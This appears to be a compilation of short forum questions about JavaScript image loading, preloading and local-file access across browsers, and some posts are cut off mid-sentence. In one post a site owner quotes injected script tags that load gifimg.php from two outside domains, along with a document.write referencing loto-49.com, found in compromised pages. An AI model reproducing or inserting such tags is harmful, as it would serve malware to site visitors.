Images On Local Machine Loading Very Slowly In Firefox
Oct 30, 2005
I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?

I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components
.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path)
file.launch()
}
However, it doesn't seem to run calc.exe no matter where I put it. Code:

I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far:
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
} else {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
} xmlhttp.open("GET","C:MovieDB.xml",false);
xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() {
if(!xmlDoc){
alert("error")
} var keyword = $('#txtBox').val();
var searchVal = $('#basicCategory :selected').text();
var allitems = xmlDoc.getElementsByTagName("Movie");
for(var i=0;i<allitems.length;i++){
alert(allitems[i].getElementsByTagName(searchVal[0].
childNodes[0].nodeValue);
} }
The code doesn't make it past the xmlhttp.send() line.

On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>

I am seeking a easy to maintain and more importantly *working* way to
pre-fetch images, so the pages I develop load smoothly without seeing
the images kick in flicker as they usually do. Important - I need
this to work on Internet Explorer 6.0+ and FireFox.
I am presently using at the head of the page,
pic100= new Image;
pic100.src="./imageme.gif";
However, it doesn't seem to work on FireFox at all. I've tried
different combinations with the URL path, but I don't know what I am
doing wrong. Can someone please assist me with this boggle?

I would need to include a 'load' event trigger. However, since I am not that familiar with javascript or jquery programming, I couldn't manage to program this solution and tested.

I have a jQuery based gallery [URL] that will load thumbnails to the bottom of a page, however for some reason these images only load on Firefox and IE (Not Chrome or Safari). I'm not sure this is due to jQuery completely.

I'm starting to use JQuery ajax and am seeing a second-2 delay in the loading of a line of text when I click on the link.
Here is the JQuery code
Content should load when the slideUp is done but it normally doesn't change the content till halfway through the slide down because of the delay.
I've tried without the slideup/down but it still has this delay.
The content to load is at most 8 words.

I have a banner on a site that auto shrinks after 5 seconds. The problem is, in Firefox (and Safari on the iPad) it shrinks too slow (compared to other browsers) and shrinks irregular (for lack of a better word). What I mean by the last part is it starts shrinking, then stops for half a second, then continues.
Is there anyway to fix this?
Here's the link: [url]

There is a slideshow on my website that reads in the address of local images and puts them in a slideshow rotation to be displayed on the page. I currently have to "hard code" the addresses in, similar to the JavaScript below:
However, I want to be able to place images in the Images directory without having to make sure the files are named the same as in the code. I would like JavaScript to go out to a local directory, see what's in there, grab anything in jpeg format (regardless of the name), and put it in the slideshow rotation.

I have set of html pages that are installed locally on machine. I want to make ajax call to local files. In Firefox everything works fine. IE is able to load html pages through ajax call but not able to load xml document.
Chrome doesn't support ajax call locally...and I don't care about it. I need it to work on IE & firefox.

I'm having an issue getting jQuery to load from a local file system. My head links are:
<script type="text/javascript" src="js/jquery-1.3.2.min"></script>
<script type="text/javascript" src="js/jquery-ui-1.7.2.custom.min.js"></script>
<script type="text/javascript" src="js/jquery.scrollTo-min.js"></script>
<script type="text/javascript" src="js/jquery.localscroll-min.js"></script>
<script type="text/javascript" src="shadowbox-3.0.3/shadowbox.js"></script>
<script type="text/javascript" src="js/myscripts.js"></script>
This works fine when served from my server via http. However, I want to load this entire site (including all linked js/css files) from a local filesystem for offline usage. When I move the project to a local filesystem, the browser throws a bunch of errors from the secondary scripts (like jquery-ui) which indicate that the main jQuery lib isn't loading (ie.ReferenceError: Can't find variable: $). This behavior is consistent across IE7/FF3/Safari4Mac.

I'm have some images on a site that I want a user to download to their sdcard.i have urls for the images and i have a webpage with a button.when the user clicks the button, i want it to download those images to an sdcard in their pc (hopefully they can select where using a windows open file type box).i think this may be quite difficult due to security with browsers and Iv looked into activex object (but cant get it to save to my filesystem).if this cant be done, perhaps i could do it on the server-side using php and have the user use filezilla to download the images. obviously this is not a very elagant solutio

I'm having difficulty loading images via Ajax on a site that I've been working on.I'm performing the ajax by using the Request.HTML object of the MooTools framework. Basically, I'm just passing some parameters to a php script which outputs some image tags and then I insert that HTML into a pre-defined content div. For some reason though, it seems that big images don't seem to load consistently when using this technique. Usually, they will just show up as broken images, but when I navigate to the url of the image that is 'broken', it displays just fine. Also, occasionally after navigating to the actual url of the image, my browser will cache the image and then it will display just fine when loading it through Ajax.

The scenario: 1) Generate a popup window via script. 2) Populate it (again
via script) with content that features local (hash) links.
In IE 6.x this works - the links work as they should, moving the document to
that document position. However in FireFox 1.x the links load the main page
(the opener) in to the popup.
Both browsers populate the location.href of the popup with the main page's
href... but this only adversly affects FireFox (which seems to, in this
scenario, reload the whole page on a local link). I tried manually
populating the location.href but no joy.
I've appended an example which demonstrates the problem. I've tried to
shave it down as much as I could. Just save it to an HTML page and load it
up in FireFox. Click the button then scroll down and click the link...
instead of returning to the top of the page I get the opener page's HTML
populated into the popup.
Any thoughts on how to address this? I've Googled, but it may just be that
I've been unable to hit on the right terms to uncover the answer.

It's for a photo gallery like this http:[url].....php but the one I need it for has 100 images so the page loads much slower. I can't just put the loading gif behind the images (as you would normaly) because you can see it with each image fade in and out. how I can have a loading gif show "only" while the images are initially loading, and then it goes away?

When I load a JSON file locally, I receive the following error in my Firefox console: "not well-formed / file:///<fileLocation>/data.json / Line: 1 / {}". The loading otherwise seems successful, as I can interact with the loaded JavaScript object. For this example, I'm loading an empty JSON object, but this error occurs with non-empty JSON objects, too.
My JavaScript code embedded in HTML:
<script type="text/javascript" src="jquery-1.4.1.js"></script>
<script type="text/javascript">
$.getJSON("data.json", function(jsonData, textStatus)
[code]....
I'm using Firefox 3.6 and jQuery 1.4.1. This error does not occur in IE 7.

If the paths to images are hard-coded into an a global array, does that mean

I have following type of code in the header

image1.scr = "pic1.jpg";
var image2 = new Image(400,265);
image2.scr = "pic2.jpg";
etc etc
}
and the following in the body
<script>
pre_load_pics();

but images are not downloaded until the app needs them later. Something wrong ? I thought they should be downloaded earlier?

I feel like a complete fool! I should know the answer to the Q:
How do I load an image with JS and replace the default image?
Some background: My final objective is to have a web site where it
is VERY difficult to copy images off the site. The first thing I
was going to do was force folks to turn on JavaScript so that I
could disable the right click pop up menu. To force this, I thought
I would have all the default images say that JavaScript is required
to view the images. The problem is that I cannot figure out for the
world in me how to load the good image.......
